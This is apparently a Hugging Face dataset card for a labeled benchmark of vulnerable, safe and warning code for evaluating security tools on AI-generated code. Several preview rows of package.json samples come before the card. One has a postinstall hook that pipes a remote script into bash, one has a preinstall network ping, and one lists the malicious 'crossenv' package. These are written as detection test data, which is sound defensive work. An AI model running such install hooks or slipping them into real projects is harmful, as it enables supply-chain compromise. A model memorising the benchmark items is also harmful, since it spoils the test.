{ "name": "legacy-app", "version": "2.1.0", "dependencies": { "react": "^18.2.0", "internal-utils": "http://repo.internal.example/internal-utils.tgz" } }
npm_install_script_fetch
warning
nextjs
synthetic-v1
package.json
[ "malicious_install_script" ]
[ "CWE-829" ]
{ "name": "telemetry-helper", "version": "0.3.1", "scripts": { "preinstall": "node -e \"require('https').get('https://t.example/ping')\"" }, "dependencies": { "axios": "^1.6.0" } }
npm_known_malicious_crossenv
warning
nextjs
synthetic-v1
package.json
[ "known_malicious_package" ]
[ "CWE-1357" ]
{ "name": "my-api", "version": "1.0.0", "dependencies": { "crossenv": "6.1.1" } }
npm_postinstall_curl_sh
vulnerable
nextjs
synthetic-v1
package.json
[ "malicious_install_script" ]
[ "CWE-829" ]
{ "name": "cool-ui-kit", "version": "1.0.0", "scripts": { "build": "tsc", "postinstall": "curl -fsSL http://203.0.113.7/setup.sh | bash" }, "dependencies": { "react": "^18.2.0" } }
npm_safe_manifest
safe
nextjs
synthetic-v1
package.json
[]
[]
{ "name": "well-behaved-app", "version": "1.4.2", "scripts": { "build": "next build", "postinstall": "husky install", "prepare": "node-gyp rebuild" }, "dependencies": { "next": "14.2.3", "react": "^18.2.0", "zod": "3.23.8" }, "devDependencies": { "typescript": "^5.4.0" } }
End of preview. Expand in Data Studio

AI Code Security — Golden Set

A small, hand-labeled benchmark of code snippets — vulnerable, safe, and needs-audit — for evaluating how well a tool detects security problems in AI-generated code ("vibe coding"). Every case is a minimal, self-contained example with a known, by-construction ground-truth label.

Crucially, the set is built around safe twins: many vulnerable cases are paired with a near-identical safe variant living at the same file path. This makes the benchmark measure precision, not just detection — a tool that flags everything trivially "catches" every vulnerability and is useless in practice.

This is the public version of the internal "golden" set used to certify Axyr, a deterministic security layer for AI-generated code. It is released so others can reproduce, evaluate, and critique the labels. The detection engine is not part of this release; only the labeled cases are.


At a glance

Cases 118
Labels 57 vulnerable · 41 safe · 20 warning
Frameworks / stacks Next.js (65) · Express (26) · SQL (15) · FastAPI (12)
Vulnerability classes 34 (see the coverage matrix)
Severity of positive findings 36 critical · 22 high · 19 medium
Findings per positive case exactly 1 (each case isolates a single issue)
Provenance groups synthetic-v1 (112) · cve-repro-v1 (6)
Safe-twin families 12 (35 cases live in a paired family)
Real-CVE reproductions 6 (every CVE id is a real, published advisory)
CWE-tagged cases 53 (mapped from the category taxonomy)
Format JSON Lines (golden.jsonl), one object per case
License CC BY 4.0

1. Why this set exists

AI coding agents now write code faster than anyone reviews it. The failure mode is not that the code looks obviously wrong — it is that it looks reviewed: it compiles, it is neatly formatted, and it passes the happy-path tests, while quietly containing an unscoped delete, a missing ownership check, or a secret that leaks into the client bundle.

Most public code-security benchmarks were not designed around these specific failure modes, and many of them measure only recall (did the tool find the bug?) without measuring precision (did it stay quiet on the near-identical correct version?). A detector tuned only for recall can reach 100% by alarming on everything — and is then ignored by developers, which is its own failure.

This set targets exactly that gap: AI-code failure modes, with paired safe twins so that false positives are first-class, measurable outcomes.


2. Composition

Labels

Label Count Meaning
vulnerable 57 A concrete, exploitable security defect is present.
warning 20 Risky / context-dependent; should be surfaced for human audit (e.g. a permissive RLS policy, a NOT NULL migration with no default, a dependency one edit away from a popular package).
safe 41 Correct code, including the safe twins of vulnerable cases. A finding here is a false positive.

Stacks

Stack Count
Next.js (App Router / API routes) 65
Express (Node) 26
Raw SQL / migrations 15
FastAPI (Python) 12

Severity (of the 77 positive cases — vulnerable + warning)

Severity Count
critical 36
high 22
medium 19

Each positive case carries exactly one expected finding, so the signal is unambiguous and a tool's hit/miss on a given case is well defined.


3. The safe-twin methodology

This is the design choice that makes the set a benchmark rather than a list of bad code.

For 12 scenario families, the same file path appears at least twice: once in a vulnerable (or warning) form and once in a near-identical safe form. 35 of the 118 cases belong to such a paired family. The pairs differ by the smallest change that flips the verdict, for example:

  • an await prisma.invoice.delete(...) before the auth check (vulnerable) vs. after an early-return auth guard (safe);
  • a query reading a record by id alone (IDOR) vs. the same query filtered by ownerId (safe);
  • a NOT NULL column added without a default (warning — fails on a populated table) vs. with a default (safe);
  • an RLS policy using (true) (warning — no real isolation) vs. using (auth.uid() = owner_id) (safe).

A tool is only credible on a family if it flags the dangerous member and stays silent on its safe twin. Flagging both means it has learned the wrong signal (e.g. "any delete is bad") and would drown a real codebase in noise.


4. Coverage matrix

The 77 positive cases span 34 vulnerability classes, grouped here into families. Counts are the number of expected findings in each class.

Data destruction & migrations (24)

destructive_query (12) · destructive_migration (5) · integrity_drop (1) · dropped_trigger (1) · breaking_rename (1) · risky_not_null_migration (1) · locking_index_migration (1) · locking_constraint_migration (1) · risky_type_change (1)

Injection (17)

sql_injection (9) · command_injection (3) · insecure_deserialization (2) · nosql_injection (1) · code_injection (1) · xss (1)

Other web / crypto (11)

ssrf (4) · path_traversal (4) · open_redirect (1) · insecure_random (1) · weak_crypto (1)

Secret exposure (10)

secret_in_response (5) · server_secret_in_client (2) · public_secret_env (1) · secret_in_logs (1) · hardcoded_secret (1)

Access control & tenant isolation (7)

missing_authorization (2) · idor (2) · missing_rls (1) · permissive_rls_policy (1) · tenant_isolation_break (1)

Dependencies / supply chain (8)

insecure_dependency_source (3) · malicious_install_script (3) · dependency_typosquat (1) · known_malicious_package (1)

The distribution is illustrative, not representative: it reflects which classes we chose to cover, not their true prevalence in AI-generated code.


5. Real-CVE reproductions

Six cases (group: cve-repro-v1) reproduce the pattern of a real, published vulnerability. They are minimal re-implementations of the defect class — the original copyrighted source is not copied. Every CVE id below is a real advisory you can verify on the NVD or the GitHub Advisory Database.

Case id Reference Class
cve_2014_6394_express_sendfile_traversal CVE-2014-6394 path traversal (send)
cve_2017_5941_node_serialize_deser CVE-2017-5941 insecure deserialization
cve_2023_26111_node_static_path_traversal CVE-2023-26111 path traversal (node-static)
cve_2024_39338_axios_ssrf CVE-2024-39338 SSRF (axios)
cve_2025_53107_git_mcp_command_injection CVE-2025-53107 / GHSA-3q26-f695-pp76 command injection (MCP server)
cve_2026_41640_nocobase_concat_sqli CVE-2026-41640 SQL injection (NocoBase, string concatenation)

These let you check that a tool recognizes the shape of known real-world defects, not just synthetic textbook examples.


6. Data schema

golden.jsonl — one JSON object per line:

Field Type Description
id string Stable, unique case identifier.
label string One of vulnerable, safe, warning. The ground truth.
stack string Framework hint: nextjs, express, fastapi, sql.
group string Provenance group for leave-one-group-out evaluation: synthetic-v1 (hand-written) or cve-repro-v1 (real-CVE pattern reproductions).
path string The intended file path of the snippet (shared across a twin family).
categories string[] Vulnerability classes for the expected finding(s); empty for safe.
cwe string[] CWE identifier(s) mapped from the category taxonomy. Data-loss / migration classes have no clean standard CWE and are intentionally left empty.
code string The full, self-contained snippet.

Load it:

from datasets import load_dataset

ds = load_dataset("axyr/ai-code-security-golden", split="train")
print(ds[0]["label"], ds[0]["categories"], ds[0]["cwe"])

7. Intended use & evaluation protocol

Use the set to benchmark any tool that analyzes source for security issues (SAST, an LLM judge, a custom linter). A suggested protocol:

  1. For each row, run your analyzer on code, using path as the filename and stack as the framework hint.
  2. Score against the label:
    • vulnerable — the analyzer should report at least one finding matching categories. A miss is a false negative (the most costly error).
    • safe — the analyzer should report nothing. Any finding is a false positive.
    • warning — apply your policy; the expected behaviour is "surface for review".
  3. Report separately: recall on vulnerable cases, false-positive rate on safe cases, and behaviour on warnings. Give special attention to the 12 twin families — a tool that flags the vulnerable member and its safe twin has learned the wrong signal.
  4. Use the group field for a leave-one-group-out check: scores on cve-repro-v1 (real-world patterns) vs. synthetic-v1 (hand-written) tell you whether a tool generalizes or has overfit to one style.
  5. Do not collapse this into a single "accuracy" figure. The errors are asymmetric: a missed vulnerability is far worse than a false alarm, and a benchmark average hides exactly that.

8. Labeling methodology

  • Ground truth by construction. Each case is authored to exhibit (or avoid) one specific issue; the label follows from how the case was built, not from any tool's output.
  • One issue per positive case. Positive cases carry exactly one expected finding so that hit/miss is unambiguous and composite cases don't blur results.
  • Three labels. vulnerable (exploitable defect), warning (risky / context-dependent, audit-worthy), safe (correct, including twins).
  • Minimal and self-contained. Snippets are reduced to the smallest code that still expresses the issue, to isolate the signal from incidental noise.

9. Limitations — please read

This set is a sanity floor and a precision probe, not a certification.

  • Small and curated. 118 cases are not a statistical sample of real-world code. Scores here do not extrapolate to an accuracy percentage "in the wild".
  • Synthetic and minimal. Cases isolate one issue under clean conditions. They test pattern recognition, not performance on large, noisy, real codebases.
  • Mostly single-file. Inter-file / inter-procedural defects (a sink in one file, the tainted source in another) are largely out of scope in this version.
  • Author judgment. Labels reflect the authors' security judgment and are published precisely so they can be challenged. Some warning calls are inherently context-dependent (a permissive policy may be intentional).
  • Coverage is illustrative. The class distribution reflects our choices, not real-world prevalence.
  • Necessary, not sufficient. Passing every case does not make a tool "secure"; failing cases shows it misses known patterns. Treat results accordingly.
  • No comparative claims ship with this data. It is released as raw ground truth only — no leaderboard, no "tool X wins", no unverifiable accuracy numbers.

10. Provenance

The set is the public, curated version of the internal certification suite for Axyr. Within Axyr, these classes map to the product's checks (database safety, code safety, dependency safety, secret exposure), but this release contains only the labeled cases — no rules, no engine, no scores. It exists so the security community can reproduce and critique the labels.

If you find a mislabeled case or a class we should cover, please open a discussion on the dataset page.


11. License

Released under CC BY 4.0. You may use, modify, and redistribute the cases, including for evaluating commercial and open-source tools, provided you give appropriate credit.


12. Citation

@misc{axyr_golden_2026,
  title        = {AI Code Security --- Golden Set},
  author       = {Axyr},
  year         = {2026},
  howpublished = {Hugging Face Datasets},
  url          = {https://huggingface.co/datasets/axyr/ai-code-security-golden},
  note         = {A hand-labeled benchmark of vulnerable/safe/warning code for
                  evaluating security analysis of AI-generated code.}
}

13. Changelog

  • v2 (2026-06-04) — 118 cases (up from 47). Added 6 real-CVE pattern reproductions (every id verified against NVD), supply-chain and migration classes (34 total), CWE ids mapped from the category taxonomy, the group provenance field for leave-one-group-out evaluation, the 12 safe-twin families, and a documented evaluation protocol.
  • v1 — initial release, 47 cases.
Downloads last month
43